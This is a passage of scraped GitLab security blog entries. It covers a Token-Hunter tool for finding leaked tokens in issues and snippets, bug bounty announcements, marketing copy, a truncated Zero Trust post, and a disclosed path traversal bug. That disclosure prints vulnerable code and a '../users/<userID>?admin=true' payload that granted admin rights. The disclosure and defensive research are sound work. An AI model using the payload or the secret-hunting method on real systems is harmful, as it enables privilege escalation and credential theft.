closed and open source projects. Many companies providing services on the internet offer API tokens in multiple flavors that allow interaction with their systems, as does GitLab. Ideally, these tokens offer configurable access control to otherwise closed systems allowing you to impersonate a user’s session and access raw data. Developers, DevOps professionals, infrastructure professionals and the like often depend on API tokens to do their job successfully.\n\nIt’s a common and understandable mistake to make a commit to a Git repository containing one of these tokens when building software in a shared environment. Moving quickly, trying to support your fellow developer, and generally working quickly to get things done efficiently can lead to mistakes made under pressure, which can happen to us all. Popular tools that search for these commits like [gitrob](https://github.com/michenriksen/gitrob), [TruffleHog](https://github.com/dxa4481/truffleHog), [gitleaks](https://github.com/zricethezav/gitleaks), and even GitLab’s own [SAST project](https://docs.gitlab.com/ee/user/application_security/sast/) can find leaked tokens given proper configuration. Our Red Team had early success leveraging these known techniques, tactics, and procedures (TTPs).\n\nThe tools referenced above are fantastic at finding secrets unintentionally left in source code. However, it's also a common mistake to submit sensitive data like API tokens, usernames, and passwords to public locales like [GitLab snippets](https://docs.gitlab.com/ee/user/snippets.html), [issues](https://docs.gitlab.com/ee/user/project/issues/), [issue discussions](https://docs.gitlab.com/ee/api/discussions.html), [merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/), and [merge request discussions](https://docs.gitlab.com/ee/api/discussions.html). Sharing this type of information by accident can happen easily when attempting to share relevant information to facilitate a public support request as we often do at GitLab for many different products. Though most people know not to post sensitive information in a public place directly, mistakes do happen, sometimes shortcuts are taken, logs get shared, configuration files get dropped, and information inadvertently gets leaked and leveraged.  More often than not these areas of exposure are often forgotten, but not by attackers.\n\n### Exploring the wide-open\n\nToken-Hunter is intended to complement tools like gitrob, gitleaks, TruffleHog, and others. It can be used if you’re hosting your groups and projects on GitLab.com, or on a self-managed GitLab instance of your own. We created Token-Hunter to support the following features:\n\n- **Search GitLab issues and the related discussions for sensitive data.** GitLab issues and comments are a primary method of sharing information and resolving support issues. They typically contain shared log data, configuration files, copy/pasted [source code](/solutions/source-code-management/) examples, and discussions by both GitLab employees and customers, and are therefore likely to contain sensitive data.\n- **Search GitLab snippets for sensitive data.** These are small, URL-addressable chunks of code or text intended to be shared between GitLab users or served directly in source code. They are most often used to share small bits of configuration data, JavaScript source code, example code in any language, or log data. Therefore, they can likely contain sensitive information like usernames and passwords, API tokens, etc.\n- **Search GitLab merge requests and discussions for sensitive data.** Merge requests and comments are, more often than not, how public open source projects recieve changes from the community.  At GitLab, merge requests facilitate everything from [handbook updates](https://about.gitlab.com/company/culture/all-remote/handbook-first-documentation/) to [GitLab runner](https://gitlab.com/gitlab-org/gitlab-runner) code changes for both internal employees and external contributors.  Descriptions and discussions on these assets can include log data, system access instructions, and the like.\n- **List all of the projects associated with a group.** This is helpful to quantify the problem and understand where the search will start. Optionally, you can include members’ projects in the search to expand the organizational scope similar to gitrob. Starting at different points in the project after you understand your target more completely can yield very different results.\n- **Proxy all traffic from the tool.** Token-Hunter accepts arguments for an HTTP proxy server and self-signed certificate to decrypt TLS traffic. GitLab’s Red Team used this feature to record traffic pattern examples to the Security Operations team in support of defensive strategy development. This feature is also handy for debugging by examining the traffic the tool generates. [Burp Suite](https://portswigger.net/burp/communitydownload) and [OWASP Zap](https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project) are two popular tool choices for proxying traffic locally and can be configured with a self-signed certificate to decrypt TLS traffic.\n\nFor full details on using the tool and the functionality of each of its available arguments, visit [the Token-Hunter project page](https://gitlab.com/gitlab-com/gl-security/gl-redteam/token-hunter/tree/master) on GitLab.\n\n### Taming the wild... mostly\n\nHitting an API to gather large amounts of raw data is daunting. Internet connections flake out, servers need maintenance, rate limits get hit, WiFi drops, performance degrades, timeouts happen, and you end up with a headache attempting to simply get the data you’d like to analyze. To counter some of these issues as pragmatically as possible, two simple algorithms were applied: request retries and dynamic page-size reduction. Request retries simply retries a failed request after a few seconds. The tool will retry a failed request twice, each after a four-second delay with a four-second backoff. In other words, the first retry will occur four seconds after the initial failed request. The second retry will occur eight seconds after the first failed retry attempt. If each of these retry attempts fails, the tool then attempts to reduce the paging size in order to complete the request. Reducing the page size reduces the number of records the request needs to return lessening the likelihood of a timeout. *Though simple, these two algorithms allowed the tool to reliably pull data for nearly 1.3 million individual GitLab assets with only three recorded request errors resulting in over 1600 pattern matches.*\n\n### More to explore\n\nThe ability to search discussions and other popular channels where sensitive data is likely to be shared is the key benefit of the Token-Hunter tool over other related tooling. The Red Team plans to continue iterating to support our operations, including adding support for more assets such as [merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/), commit discussions, and [epics](https://docs.gitlab.com/ee/user/group/epics/). We learned during our operation that the specifics of the regular expressions we used in relation to the context in which we were searching (posted log data format, configuration file format, code structure, etc.) largely determined our level of success. It can be necessary to tune these expressions depending on your environment and context. To start, we made a few adjustments to [TruffleHog’s regular expressions](https://github.com/dxa4481/truffleHogRegexes) to add coverage for GitLab-specific token formats. However, there’s still much room for improvement depending on your environment and objective.\n\nLooking for a specific password for a user name? Trying to find all mentions of a specific server DNS name or IP? Expecting a specific log format that has the potential to contain an API token? Tune [the regular expressions](https://gitlab.com/gitlab-com/gl-security/gl-redteam/token-hunter/blob/master/regexes.json), and you just may find what you’re looking for.\n\n### We want your ideas and contributions\n\nThere is still plenty to be done and we welcome community contributions and ideas. If the tool is helpful to you in defense of your infrastructure and you’d like to contribute, [there are instructions in the README.md](https://gitlab.com/gitlab-com/gl-security/gl-redteam/token-hunter#contributing) on how to get started. If you’re not sure what to do, pick an issue out of [our issue list](https://gitlab.com/gitlab-com/gl-security/gl-redteam/token-hunter/issues) or add to the existing discussions.  I'd like to extend a special thank you to GitLab user [Ohad Dahan](https://gitlab.com/ohaddahan) for his many contributions to this and other GitLab projects.  These types of contributions are paramount to the continued success of open source projects.\n\nSome of the ideas we’re currently pursuing are:\n\n- **Better output formatting:** We’d like to standardize output to an industry accepted, standard format that allows support for findings verification. A simple CSV file might be the first step.\n- **Real-time reporting of findings:** Currently, the tool gathers data first, then reports on the findings, leaving you in way too much suspense for way too long. Reporting findings as they are found allows verification to begin earlier during a long-running execution.\n- **Data persistence:** Querying the API is the costliest part of inspecting GitLab assets for sensitive data. Persisting that data from an execution would:\n  - Reduce the need to query the API again after tuning your regular expressions. During our operation, we often needed to make changes to the regular expressions based on what we were seeing in the matches. This was virtually impossible given the amount of data necessary to pull.\n  - Allow for long-running executions to be paused and resumed. Executions against larger groups can take several hours and would sometimes require a restart during our operation.\n  - Maintain a permanent record of findings should they be edited following a found match. During our exercise, there were a few occasions where matches were found that looked to be legitimate, but could not be verified as the asset was modified post-discovery.\n\nWe have learned a lot from this initial attempt at gathering OSINT from rather unique and unorthodox locations, but this exercise was just a start. We hope you find the tooling useful and if you have questions or ideas to share please reach out through [email](mailto:redteam@gitlab.com), through our [issue board](https://gitlab.com/gitlab-com/gl-security/gl-redteam/token-hunter/-/boards), or [on Twitter](https://twitter.com/code_emitter). Happy hacking!\n\nPhoto by [Lightscape](https://unsplash.com/@lightscape?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/photos/Bsw6l6e01Rw).\n{: .note}\n",[14,1212,958],{"slug":4721,"featured":6,"template":677},"introducing-token-hunter","content:en-us:blog:introducing-token-hunter.yml","Introducing Token Hunter","en-us/blog/introducing-token-hunter.yml","en-us/blog/introducing-token-hunter",{"_path":4727,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4728,"content":4733,"config":4739,"_id":4741,"_type":16,"title":4742,"_source":17,"_file":4743,"_stem":4744,"_extension":20},"/en-us/blog/bugs-bounties-and-cherry-browns",{"title":4729,"description":4730,"ogTitle":4729,"ogDescription":4730,"noIndex":6,"ogImage":4265,"ogUrl":4731,"ogSiteName":767,"ogType":768,"canonicalUrls":4731,"schema":4732},"Bugs, bounties, and cherry browns","Cheers, our bug bounty program is celebrating one year!","https://about.gitlab.com/blog/bugs-bounties-and-cherry-browns","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Bugs, bounties, and cherry browns\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Juan Broullon\"}],\n        \"datePublished\": \"2019-12-12\",\n      }",{"title":4729,"description":4730,"authors":4734,"heroImage":4265,"date":4736,"body":4737,"category":14,"tags":4738},[4735],"Juan Broullon","2019-12-12","\n\nOne year ago today, [we launched our public bug bounty program](/blog/gitlab-hackerone-bug-bounty-program-is-public-today/), a crucial element in our strategy to secure our product and protect our company. \n\n### Bigger, stronger, more secure\n\nIt seems like only yesterday (ok, June 2014) that we launched our first program on HackerOne, a vulnerability disclosure initiative that would award security researchers swag in exchange for bugs. Once that program was mature enough – and our security team was prepared to manage it – the next natural step was a public bug bounty program which lead to a huge increase in report submissions and cash in reporters' pockets!\n \nOver the past year we’ve started tackling some [early lessons learned](/blog/what-we-learned-by-taking-our-bug-bounty-program-public/) and evolved the way we communicate with our reporters, the way we reward bounties, and even [what we’re paying for high and critical severity findings](/blog/were-increasing-bounties-in-our-bug-bounty-program/). But we’re not done learning yet.  We want everyone to contribute and are always keen to hear about new ways to improve our bug bounty program so let us know if you have any suggestions. \n\nAs we look back at the past year, we’re proud to report that we’ve received a total of 1378 reports from 513 extremely talented security researchers from across the globe. We awarded a total of $565,650 in bounties to 171 researchers who reported valid vulnerabilities. The program kept our engineers on their toes, challenged and surprised our security team, and helped us keep GitLab more secure.\n\n### We’re pretty excited about all this, but we know you’re waiting with bated breath to hear about some even more riveting news... \n\nIn October, we announced a [bug bounty contest](/blog/reducing-time-to-payout-and-launching-a-bug-bounty-anniversary-contest/). From October 1 through November 30, we were looking for contributors to our program across the following areas: \n\n• Most reputation points from submissions to our program    \n• Most reputations points collected by a reporter new to our program  \n• Best written report  \n• Most innovative report  \n• Most impactful finding \n\nWe just knew our reporters WOULD NOT DISAPPOINT.  \n\n**We received 279 reports from 123 different individuals between October 1 and November 30, and 89 of them were from new reporters!**  \n\n### Thank you to all who contributed. We’re beyond excited to announce these winners:\n\n\u003Ci class=\"fas fa-address-card fa-fw\" style=\"color:rgb(46,46,46); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Most reputation points from submissions to our program.**  Congratulations to [@xanbanx](https://hackerone.com/xanbanx) who leads the pack in reputation points this period.\n{: #id-card-black}\n\n\u003Ci class=\"far fa-address-card fa-fw\" style=\"color:rgb(56,13,117); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Most reputations points *collected by a reporter new to our program***.  Congratulations to [@peet86](https://hackerone.com/peet86) who had the highest reputation score for a new reporter to our program.\n{: #id-card-purple}\n\n\u003Ci class=\"fas fa-pencil-alt fa-fw\" style=\"color:rgb(219,58,33); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Best written report.**  Congratulations to [@rpadovani](https://hackerone.com/rpadovani), your numerous Elasticsearch reports which were consistently clear and concise.\n{: #id-pencil}\n\n\u003Ci class=\"far fa-lightbulb fa-fw\" style=\"color:rgb(252,161,33); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Most innovative report.**  Congratulations to [@ngalog](https://hackerone.com/ngalog), the technique you used to disclose private data on GitLab Pages was unique and creative.\n{: #id-lightbulb}\n\n\u003Ci class=\"fas fa-rocket fa-fw\" style=\"color:rgb(252,109,38); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Most impactful finding.**  Congratulations @nyangawa of Chaitin Tech for your report on a complex path traversal bug which lead to remote code execution.\n{: #id-rocket}\n\n*Since it is [GitLab’s policy](https://hackerone.com/gitlab#disclosure) to share details via public GitLab.com issue 30 days after releasing a fix, the details of our best written report, most innovative report and most impactful finding winners will be released in a future blog post.*  \n\n### And, to give you a peep of the custom swag our five winners will be receiving:\n\n![custom GitLab Mechanical Keyboard, picture 1](https://about.gitlab.com/images/blogimages/bug-bounty-turns-one/wasd-tanuki-keyboard-1.jpg){: .shadow.medium.center}\n61 mechanical keys to add some clickety clack to your hackety hack. You'll want to ditch the chiclets and get with these gold-plated cherry mx switches.\n{: .note.text-center}   \n\n![custom GitLab Mechanical Keyboard, picture 4](https://about.gitlab.com/images/blogimages/bug-bounty-turns-one/wasd-tanuki-keyboard-4.jpg){: .shadow.medium.center}\nA Tanuki-powered Poker 3. We’re pretty sure this 60% mechanical keyboard will help you keep it 💯.\n{: .note.text-center} \n\nTo everyone who has contributed to our program in the past year, thank you for making it a success. \n\nDespite a very impressive 2019, we know there’s still a lot of room for improvement in our program. We plan to continue to grow and enhance our bug bounty efforts in the coming year so keep an eye on this blog for updates.\n\nHappy hacking,\n\nThe GitLab Security team\n\n",[14,899],{"slug":4740,"featured":6,"template":677},"bugs-bounties-and-cherry-browns","content:en-us:blog:bugs-bounties-and-cherry-browns.yml","Bugs Bounties And Cherry Browns","en-us/blog/bugs-bounties-and-cherry-browns.yml","en-us/blog/bugs-bounties-and-cherry-browns",{"_path":4746,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4747,"content":4752,"config":4757,"_id":4759,"_type":16,"title":4760,"_source":17,"_file":4761,"_stem":4762,"_extension":20},"/en-us/blog/shopping-for-an-admin-account",{"title":4748,"description":4749,"ogTitle":4748,"ogDescription":4749,"noIndex":6,"ogImage":2955,"ogUrl":4750,"ogSiteName":767,"ogType":768,"canonicalUrls":4750,"schema":4751},"Shopping for an admin account via path traversal","How to exploit a path traversal issue to gain an admin account","https://about.gitlab.com/blog/shopping-for-an-admin-account","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Shopping for an admin account via path traversal\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joern Schneeweisz\"}],\n        \"datePublished\": \"2019-11-29\",\n      }",{"title":4748,"description":4749,"authors":4753,"heroImage":2955,"date":4754,"body":4755,"category":14,"tags":4756},[2960],"2019-11-29","\nGitLab [security researchers](/handbook/security/#security-research) conduct internal testing against GitLab assets and against [free and open-source software (FOSS)](https://en.wikipedia.org/wiki/Free_and_open-source_software) critical to GitLab products and operations to ultimately make our product and company more secure.\n\n## Introduction\n\nMost web applications are not standalone – they depend on other applications in order to fulfill their purpose. Calls to other web apps can be done in various ways depending on the other side's API. In this post, we'll discuss calls to REST APIs and some security implications when calling those REST endpoints.\n\nRepresentational State Transfer (short: [REST](https://de.wikipedia.org/wiki/Representational_State_Transfer)) is an HTTP-based protocol that uses different HTTP methods (e.g. GET/POST/PUT/DELETE) to interact with a remote API endpoint.\n\nLet's take a look at a very specific (GitLab) example to get an impression of what can go wrong when two web apps talk REST to each other.\n\n## GitLab's Customers Portal\n\nAt [customers.gitlab.com](https://customers.gitlab.com) our GitLab community can shop for various GitLab subscriptions and also buy CI minutes. The `customers` source code is non-public, so I will just use a few relevant snippets as examples to illustrate the issue.\n\nThe `customers` portal needs to interact with the `gitlab.com` API in order to let `gitlab.com` know things like how many CI minutes you've bought. The HTTP calls to the `gitlab.com` API are implemented using [HTTParty](https://github.com/jnunemaker/httparty).\n\nFor PUT requests this looked like:\n\n```ruby\n    def put(path, *args)\n      options = valid_options(args)\n\n      HTTParty.put(full_url(path), options)\n    end\n\nprivate\n\n    def full_url(path)\n      URI.join(BASE_URL, path).to_s\n    end\n```\n\nLet's look at the caller to the `put` method:\n\n```ruby\nresponse = Client::GitlabApp.put(\"/api/v4/namespaces/#{@namespace_id}\", body: @attrs.to_json, token: API_TOKEN)\n```\n\nThe above line of code is the place where the `Client::GitlabApp` is used to update a subscription on `gitlab.com`; this call occurs when a customer moves the subscription from one namespace to another. The parameter `@namespace_id` is user controlled but the payload of the PUT operation (`body: @attrs.to_json`) is not. The `API_TOKEN` is an access token to `gitlab.com`'s API with `admin` privileges. The threat which arises from the call to `Client::GitlabApp.put` is the possibility to traverse the path on `gitlab.com`'s API by supplying a `@namespace_id` of `../other/path` and thus being able to reach other API endpoints than the intended `/api/v4/namespace/`.\n\nThis type of attack, namely a [path (or directory) traversal attack](https://en.wikipedia.org/wiki/Directory_traversal_attack), is a very common and generic issue. It can occur basically everywhere that path parameters are being plunged together (e.g. file systems access or unpacking of archive files).\n\n## Impact\n\nIt gets really interesting when we think about the impact and exploitation of this issue. Since we do not control the payload (`@attrs.to_json`) of the PUT operation one could think that the impact of this traversal is quite limited. In REST the PUT operation is being used to update existing resources. Usually the to-be-updated attributes of the resource are sent in the body of the HTTP request, just like the JSON encoded `@attrs` in our case.\n\nThe API endpoint on `gitlab.com` is implemented using [Grape](http://www.ruby-grape.org/) which implements [parameter handling](https://github.com/ruby-grape/grape#parameters) in a way that any PUT/POST parameters will be merged with the path-based GET parameters into the `params` hash. This means that besides the `body: @attrs.to_json` payload in the PUT operation we could, using the unsanitized `@namespace_id` parameter, not only traverse API endpoints using `../` sequences, we could also inject attributes on the API endpoint by appending `?some_attribute=our_value` to `@namespace_id`. So, in addition to the path traversal, we can also inject arbitrary arguments on the API endpoint. In combination the two steps can enable quite powerful attacks.\n\n## Exploitation\n\nTaking the above building blocks of path traversal and attribute injection in a request using an `admin` token on the `gitlab.com` API, we have a quite powerful and universal attack at hand. While investigating and verifying the issue on GitLab's `staging` environment it could be used to promote regular accounts to `admin`. The actual payload is quite simple: `../users/\u003CuserID>?admin=true` it resulted in a PUT request to `https://gitlab.com/api/v4/users/\u003CuserID>?admin=true`.\n\nWithin the staging environment the exploit payload looked like this within the Chrome developer tools:\n\n![exploit](https://about.gitlab.com/images/blogimages/Path-traversal/get_admin.png)\n\nThe reward was a shiny 🔧 sign to access the admin area on the targeted account:\n\n![wrench](https://about.gitlab.com/images/blogimages/Path-traversal/be_admin.png)\n\nThe modification was done using the \"Change linked Group\" feature for a GitLab Bronze subscription. But as the same vector can be used with purchased CI minutes it would just have cost eight dollars and a few clicks to become an admin on `gitlab.com` 😏.\n\n## Mitigation\n\nThe issue was mitigated promptly by the [fulfillment backend team](/handbook/engineering/development/fulfillment/). The application is now enforcing the `@namespace_id` parameter to be numerical. Also additional defense-in-depth measures have been taken to avoid path traversals and similar attacks.\n\n## Conclusion\n\nWe've seen here a very good example of the typical pitfalls in modern applications which make use of backend services via API calls. The path traversal in combination with the ability to inject further attributes in the API call allowed us to cause severe impact. The issue, even though present in the `customers.gitlab.com` code base, could be used to elevate user privileges on `gitlab.com`.\n\n***Security Research at GitLab***\n*Security research is one component of our broader security organization's efforts to  enhance the security posture of our company, products, and client-facing services. See our [Security Handbook](/handbook/security) to learn more.*\n\nPhoto by [Marta Branco](https://www.pexels.com/@martabranco?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels) on [Pexels](https://www.pexels.com/photo/closeup-photo-of-black-and-blue-keyboard-1194713/?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels)\n{: .note}\n",[14,1212],{"slug":4758,"featured":6,"template":677},"shopping-for-an-admin-account","content:en-us:blog:shopping-for-an-admin-account.yml","Shopping For An Admin Account","en-us/blog/shopping-for-an-admin-account.yml","en-us/blog/shopping-for-an-admin-account",{"_path":4764,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4765,"content":4771,"config":4777,"_id":4779,"_type":16,"title":4780,"_source":17,"_file":4781,"_stem":4782,"_extension":20},"/en-us/blog/toolchain-security-with-gitlab",{"title":4766,"description":4767,"ogTitle":4766,"ogDescription":4767,"noIndex":6,"ogImage":4768,"ogUrl":4769,"ogSiteName":767,"ogType":768,"canonicalUrls":4769,"schema":4770},"How to overcome toolchain security challenges with GitLab","Use GitLab to control your toolchain sprawl, improve team communication and productivity, and secure your DevOps lifecycle.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673158/Blog/Hero%20Images/toolchain-security-gitlab-cover.jpg","https://about.gitlab.com/blog/toolchain-security-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to overcome toolchain security challenges with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vanessa Wegner\"}],\n        \"datePublished\": \"2019-11-20\",\n      }",{"title":4766,"description":4767,"authors":4772,"heroImage":4768,"date":4774,"body":4775,"category":14,"tags":4776},[4773],"Vanessa Wegner","2019-11-20","\nIntegrated toolchains [are on the rise](https://go.forrester.com/blogs/the-rise-fall-and-rise-again-of-the-integrated-developer-tool-chain/), according to Forrester analyst Christopher Condo. Integrated toolchains actually faded out for a while\nbecause developers wanted to avoid vendor lock in - and because sometimes solutions didn’t [play well with others](/handbook/product/gitlab-the-product/#plays-well-with-others).\nBut today, the growing popularity of CI/CD and open source means more free tools in the software delivery market and dev teams are happily adding them to their arsenal.\n\nUnfortunately, too much of a good thing can be a bad thing. Integrating,\nmanaging, and protecting the DevOps lifecycle has become a burden on many teams.\nIn a recent [Forrester report](/resources/whitepaper-forrester-manage-your-toolchain/),\nover three quarters of survey respondents said their teams use more than two\ntoolchains to support software delivery, and a majority reported that each\ntoolchain is made up of six or more tools.\n\nDevOps fosters innovation but an overly complex toolchain stifles it.\nToolchain maintenance and management shouldn’t consume resources that could\notherwise be invested in product development and innovation, but that’s the reality\non the ground for too many teams.\n\n## Complex toolchains compromise security\n\nManaging these toolchains has become a monumental task, with some businesses\ndevoting 10% of their dev team to toolchain maintenance, according to the Forrester report.\nBesides inhibiting productivity, toolchain complexity also poses a risk to\nyour security posture.\n\nMost teams are tasked with integrating their toolchains by manual means, such\nas plugins and scripts or hard-coded custom integrations. Not only is this\nlabor-intensive, it also adds the significant risk of human error.\nAdditionally, more tools mean more authentication and security requirements to\nmanage, less visibility into the software\nlifecycle, and no view into the process of maintaining the toolchain\nitself - all of which adds unnecessary risk for your IT and dev teams to deal\nwith.\n\nMeanwhile, the consequences of poor security practices are mounting. [According to IBM](https://databreachcalculator.mybluemix.net),\nit takes businesses an average of 279 days to identify and contain a breach,\nat an average cost of $3.9 million.\n\n## DevSecOps with GitLab: your knight in shining armor\n\nLuckily, we’re here to save the day. [GitLab is a single out-of-the-box solution\nfor your **entire** software delivery lifecycle](/stages-devops-lifecycle/) -\nsolving your authentication and requirement woes right off the bat. We’ve built\na number of security and risk prevention measures into many of the DevOps lifecycle\nphases: code reviews, static and dynamic [application security\ntesting](/topics/devsecops/), dependency and container scanning, license compliance, and incident\nmanagement. We also have an exciting array of new features on the horizon, which\ncan be found in the table below.\n\n![GitLab is a complete DevOps platform, delivered as a single application.](https://about.gitlab.com/images/blogimages/toolchain-security-gitlab-inline.png){: .shadow}\n\nDevSecOps is a product of the shift-left movement, integrating security into\nthe earliest possible phases of DevOps. Bringing security in at the beginning\nhelps teams understand where certain testing processes and controls need to\nfall, and helps save time, energy, and resources as you move through the final\nphases of DevOps.\n\nGitLab’s single application eases communication between teams, increases\nvisibility, and streamlines your DevOps lifecycle as a whole. We’re here to\nhelp your teams achieve faster delivery cycles without compromising quality,\nand bring your security practices to the speed of the business.\n\nCover image by [Jukan Tateisi](https://unsplash.com/@tateisimikito) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[2849,1450,14],{"slug":4778,"featured":6,"template":677},"toolchain-security-with-gitlab","content:en-us:blog:toolchain-security-with-gitlab.yml","Toolchain Security With Gitlab","en-us/blog/toolchain-security-with-gitlab.yml","en-us/blog/toolchain-security-with-gitlab",{"_path":4784,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4785,"content":4791,"config":4796,"_id":4798,"_type":16,"title":4799,"_source":17,"_file":4800,"_stem":4801,"_extension":20},"/en-us/blog/were-increasing-bounties-in-our-bug-bounty-program",{"title":4786,"description":4787,"ogTitle":4786,"ogDescription":4787,"noIndex":6,"ogImage":4788,"ogUrl":4789,"ogSiteName":767,"ogType":768,"canonicalUrls":4789,"schema":4790},"We are increasing bounties in our bug bounty program","We're now offering higher bounties for critical and high severity reports.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672689/Blog/Hero%20Images/banter-snaps-REyoFHP9pw8-unsplash.jpg","https://about.gitlab.com/blog/were-increasing-bounties-in-our-bug-bounty-program","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"We are increasing bounties in our bug bounty program\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2019-11-18\",\n      }",{"title":4786,"description":4787,"authors":4792,"heroImage":4788,"date":4793,"body":4794,"category":14,"tags":4795},[3178],"2019-11-18","\nSince we opened our bug bounty program to the public in December 2018, our community of external security researchers submitted 1,282 reports and we paid out $515,899 in bounties. \n\nThis past September we told you we were iterating on how and when we pay out bounties. At that point we changed to a model where we pay out a part of the bounty right at the moment when a report is triaged. Now we're making more changes.\n\n### New! Increased bounties for critical and high severity reports\n\nWhat’s better than money in your pocket faster? MORE money in your pocket faster.  \n\nEffective November 18, 2019, we are [increasing the amount of bounty awards for new reports for critical and high vulnerabilities](https://hackerone.com/gitlab)!\n\n| **Critical (9.0 - 10.0)** | **High (7.0-8.9)** | **Medium (4.0-6.9)** | **Low (0.1 - 3.9)** |\n|:-----------:|:-----------:|:-----------:|:-----------:|\n| $20,000 | $10,000 | $3,000 | $1,000 |\n\n### What isn’t changing:\n\n• Program scope   \n• Severity criteria   \n• Rules of engagement   \n• Our SLAs for response, time to triage and time to bounty   \n\nThe skills, depth of expertise and contributions of our security researcher community are strengthening the security of our product and our company in a very real way and we are excited to be able to recognize this with higher bounties. Thank you for your continued contributions and we look forward to your next report!\n\nP.S. There’s still a little time left to participate in our [bug bounty contest running October 1 through November 30](/blog/reducing-time-to-payout-and-launching-a-bug-bounty-anniversary-contest/). Report a bug and be entered to win a sweet piece of GitLab swag!\n\nPhoto by [Banter Snaps](https://unsplash.com/@bantersnaps?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n",[14,899],{"slug":4797,"featured":6,"template":677},"were-increasing-bounties-in-our-bug-bounty-program","content:en-us:blog:were-increasing-bounties-in-our-bug-bounty-program.yml","Were Increasing Bounties In Our Bug Bounty Program","en-us/blog/were-increasing-bounties-in-our-bug-bounty-program.yml","en-us/blog/were-increasing-bounties-in-our-bug-bounty-program",{"_path":4803,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4804,"content":4810,"config":4815,"_id":4817,"_type":16,"title":4818,"_source":17,"_file":4819,"_stem":4820,"_extension":20},"/en-us/blog/zero-trust-at-gitlab-where-do-we-go-from-here",{"title":4805,"description":4806,"ogTitle":4805,"ogDescription":4806,"noIndex":6,"ogImage":4807,"ogUrl":4808,"ogSiteName":767,"ogType":768,"canonicalUrls":4808,"schema":4809},"Zero Trust at GitLab: Where do we go from here?","We take a look back at how far we've come in our ZTN implementation, and at the progress we still need to make.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679704/Blog/Hero%20Images/puria-berenji-Dyi1K2atCRw-unsplash.jpg","https://about.gitlab.com/blog/zero-trust-at-gitlab-where-do-we-go-from-here","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Zero Trust at GitLab: Where do we go from here?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Loveless\"}],\n        \"datePublished\": \"2019-10-15\",\n      }",{"title":4805,"description":4806,"authors":4811,"heroImage":4807,"date":4812,"body":4813,"category":14,"tags":4814},[1909],"2019-10-15","\n\n*Zero Trust is the practice of shifting access control from the network perimeter to the assets, individuals, and the respective endpoints. For GitLab, Zero Trust means that all users and devices trying to access an endpoint or asset within our GitLab environment will need to authenticate and be authorized. This is part 6 of 6 in our series.*\n* Part one: [The evolution of Zero Trust](/blog/evolution-of-zero-trust/)\n* Part two: [Zero Trust at GitLab: Problems, goals, and coming challenges](/blog/zero-trust-at-gitlab-problems-goals-challenges)\n* Part three: [Zero Trust at GitLab: The data classification and infrastructure challenge](/blog/zero-trust-at-gitlab-the-data-classification-and-infrastructure-challenge/)\n* Part four: [Zero Trust at GitLab: Mitigating challenges with data zones and authentication scoring](/blog/zero-trust-at-gitlab-data-zones-and-authentication-scoring/)\n* Part five: [Zero Trust at GitLab: Implementation challenges](/blog/zero-trust-at-gitlab-implementation-challenges/)\n\nWe've talked pretty openly about forming our ZTN approach and the challenges we expect along the way – as well as the challenges we've already met. If there is an area of ZTN that we've not addressed, or if you're interested in diving deeper into the topic, we invite you to join us October 29, 3-4 pm ET for our [Zero Trust Reddit AMA](https://www.reddit.com/r/netsec/comments/d71p1d/were_a_100_remote_cloudnative_company_and_were/) where you can Ask Us Anything!\n\n## Where we are\nI guess it makes sense to talk about where we are at with this whole ZTN thing. In addition to establishing policies for team members (based upon job descriptions and placement in the org chart), we have classified our data and mapped out our environment so we know where all of the parts are. But there are a few items we want to explain with a bit of detail.\n\n### Getting SaaS\n\nUsing [Okta](https://www.okta.com), we have managed to get (as of this writing) 70 of our [SaaS](https://en.wikipedia.org/wiki/Software_as_a_service) apps under some semblance of control. This “control” has varied heavily – some SaaS apps cleanly and seamlessly integrated with Okta, and some were working kinda-sorta-good-enough to call them integrated. The majority of SaaS integrations work fine as they used [SAML](https://en.wikipedia.org/wiki/Security_Assertion_Markup_Language) and easily integrate in minutes. We can provision and deprovision accounts with simple assignments. Departments like People Ops can do provisioning within minutes instead of days. For some of the integrations, we can force the user to go through Okta, and in a few cases where we have sensitive data, we have extra security steps. For example, to access [BambooHR](https://www.bamboohr.com) users have to go through Okta first (and using Multi-Factor Authentication aka MFA) instead of direct access, and they have to perform yet one more MFA-style step of authentication just for BambooHR.\n\nAre there problems with this? Sure. Not everything integrates as well as [Greenhouse](https://www.greenhouse.io) or BambooHR, because each SaaS has implemented their own APIs and done their own SAML setup. Some don’t offer consistent interfaces to integrate with, which means that our team members can bypass Okta and go straight into the SaaS app in some cases, and in others they are forced to use Okta. This workflow inconsistency is sometimes frustrating for team members. We’re constantly [updating our team member 